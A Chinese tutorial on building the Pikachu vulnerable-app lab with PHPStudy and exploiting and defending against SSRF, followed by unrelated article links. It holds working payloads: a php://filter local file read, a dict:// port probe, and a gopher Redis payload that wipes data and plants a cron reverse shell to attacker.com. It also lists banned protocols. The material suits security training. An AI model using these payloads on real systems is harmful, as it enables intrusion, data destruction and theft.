当前位置: 首页 > news >正文

手把手教你用PHPStudy搭建Pikachu靶场(附SSRF漏洞实战演示)

从零构建Pikachu靶场:SSRF漏洞攻防全景实战指南

当我在三年前第一次接触网络安全实训时,Pikachu靶场就像一扇神秘的大门。这个以宝可梦命名的开源漏洞演练平台,用卡通化的界面隐藏着真实世界中最危险的漏洞形态。今天,我将带您从环境搭建到漏洞利用,完整重现SSRF(Server-Side Request Forgery)漏洞的挖掘过程,这种能让服务器变成"傀儡"的漏洞,在近年OWASP Top 10中始终位列前茅。

1. 靶场环境构建:PHPStudy的精准配置

在Windows系统上搭建Web漏洞实验环境,PHPStudy无疑是最便捷的选择。但许多初学者常因配置不当导致实验失败,以下是我经过数十次实践验证的可靠方案:

  1. 环境组件选择

    • PHP版本:5.4.45(与Pikachu兼容性最佳)
    • Apache:2.4.23(需启用rewrite_module)
    • MySQL:5.7.26(建议设置root密码为root
  2. 项目部署关键步骤

# 解压后需执行的目录操作 mv pikachu-master /phpstudy_pro/WWW/pikachu chmod -R 755 /phpstudy_pro/WWW/pikachu

注意:若遇到403禁止访问错误,需检查Apache的httpd.conf中Directory配置是否包含Require all granted

  1. 数据库配置陷阱: 修改config.inc.php时,要注意Windows路径的斜杠转义问题:
$dbname = 'pikachu'; $dbuser = 'root'; $dbpass = 'root'; $dbhost = '127.0.0.1'; // 切勿使用localhost

2. SSRF漏洞原理深度解析

SSRF的本质是服务器端未对用户提供的URL进行严格校验,导致攻击者可以操纵服务器发起任意网络请求。就像让银行的柜员亲自去帮您"取钱",而柜台根本不核实您的身份。

高危函数对比表

函数危险协议支持典型利用场景防御难度
file_get_contents()file, http, ftp本地文件读取★★☆
curl_exec()dict, gopher端口扫描/Redis入侵★★★
fsockopen()tcp, udp内网服务探测★★★★

在Pikachu靶场中,开发者刻意留下了两个典型的SSRF漏洞入口:

  1. curl型漏洞ssrf_curl.php
$url = $_GET['url']; $ch = curl_init(); // 未做任何白名单校验 curl_setopt($ch, CURLOPT_URL, $url); echo curl_exec($ch);
  1. file_get_contents型漏洞ssrf_fgc.php
$file = $_GET['file']; echo file_get_contents($file); // 直接读取用户输入

3. 漏洞实战:从信息收集到内网渗透

3.1 本地文件读取攻击链

当发现file_get_contents()存在缺陷时,可以构造特殊协议进行敏感文件窃取:

http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../../../../windows/win.ini

解码技巧

# 使用CyberChef或本地base64解码 echo "base64编码内容" | base64 -d > win.ini

3.2 端口扫描的艺术

利用dict协议进行内网端口探测时,需要掌握响应特征:

响应状态可能含义后续动作
连接超时防火墙拦截尝试其他协议
快速返回错误端口关闭记录排除
返回banner信息服务存活收集版本信息

典型攻击Payload:

http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.1.1:6379/info

3.3 高级利用:Gopher协议攻击Redis

当发现内网存在Redis服务时,可构造特殊协议实现未授权访问:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

警告:此操作会清空Redis数据库并尝试建立反向shell,仅限授权测试环境使用

4. 防御体系构建:从代码到架构

在最近为某金融系统做的安全审计中,我们发现SSRF防御需要多层防护:

代码层防护

// 白名单域名校验 $allowed_hosts = ['api.trusted.com', 'cdn.safe.org']; $parsed = parse_url($_GET['url']); if(!in_array($parsed['host'], $allowed_hosts)){ die('非法请求来源'); } // 禁用危险协议 $banned_schemes = ['file','gopher','dict']; if(in_array($parsed['scheme'], $banned_schemes)){ die('危险协议已被禁止'); }

网络层防护

  • 部署反向代理时启用no-proxy-uri策略
  • 内网服务使用双向SSL认证
  • 关键业务服务器设置出站防火墙规则

运维监控要点

  1. 建立异常外连请求报警机制
  2. 定期审计服务器日志中的异常域名解析
  3. 对服务器发起的请求实施速率限制

记得去年在一次渗透测试中,我们通过SSRF漏洞成功读取到了AWS的元数据接口,最终获取了云服务器临时凭证。这个案例让我深刻意识到,再小的入口点都可能成为整个系统沦陷的起点。建议每个季度至少进行一次SSRF专项检测,特别要关注那些调用第三方API的服务接口。

http://www.jsqmd.com/news/493795/

相关文章:

  • CoPaw多语言翻译与本地化效果展示:跨越语言障碍的技术文档处理
  • NISP vs CISP:网络安全证书怎么选?资深导师帮你避坑
  • MATLAB新手必看:5分钟搞定OBJ文件导入与3D模型可视化
  • 【CAPL实战】LIN调度表动态切换与精准控制
  • Qwen3-ASR-1.7B语音识别模型实战:5分钟搭建离线多语言转写平台
  • VSCode调试Milvus源码实战:从launch.json配置到断点调试成功全流程
  • 深度学习模型评估指标全解析:从准确率到R-Squared的实战指南
  • ECharts树形图实战:5分钟搞定企业组织架构可视化(附完整代码)
  • 3个步骤构建稳健量化投资组合:风险平价模型实战指南
  • MiGPT:让小爱音箱拥有AI对话能力的完整技术指南
  • Coqui STT 文件下载效率优化实战:从原理到批量处理最佳实践
  • 3步攻克AI修图工具安装难关:IOPaint Windows环境极速部署指南
  • 智能家居避坑指南:用Home Assistant桥接米家和HomeKit的5个关键设置
  • DAMO-YOLO在STM32CubeMX中的工程配置指南
  • SAP-PP MRP再计划:供需平衡的艺术与实战解析
  • FreeCAD:解决3D建模高成本难题的开源解决方案
  • HarmonyOS驱动下的智能座舱软件开发:挑战、机遇与人才需求
  • CUDA实战:用GPU加速TopK问题求解(附完整代码与性能对比)
  • iStore插件开发与集成:从零构建OpenWRT定制化软件中心
  • WeUI组件库避坑指南:如何按需引入Button组件不踩坑
  • Android开发在银行项目中的深度解析与面试指南
  • Upscayl技术突破:从模型集成到图像超分辨率的完整解决方案
  • IDEA开发者必看:用ProxyAI插件一键接入DeepSeek-R1的完整避坑指南
  • Unity游戏开发中的抽象类与虚方法:如何优雅地管理游戏状态?
  • ITSM 工具选型指南 2026:ServiceNow、Jira、BMC 到底怎么选?
  • 以太网 PHY 芯片选型指南:DP83848 与 LAN8742 的工业应用对比
  • 深入解析Vector CANdb++ Editor中的dbc文件配置与优化技巧
  • 3GPP 5G协议下载全攻略:从FTP到最新版本一键获取(附目录解析)
  • 为什么选择Qwen3-4B?4B级模型性价比深度分析
  • Appium自动化测试避坑指南:MuMu模拟器+Python3.8环境搭建与实战(附大麦抢票Demo)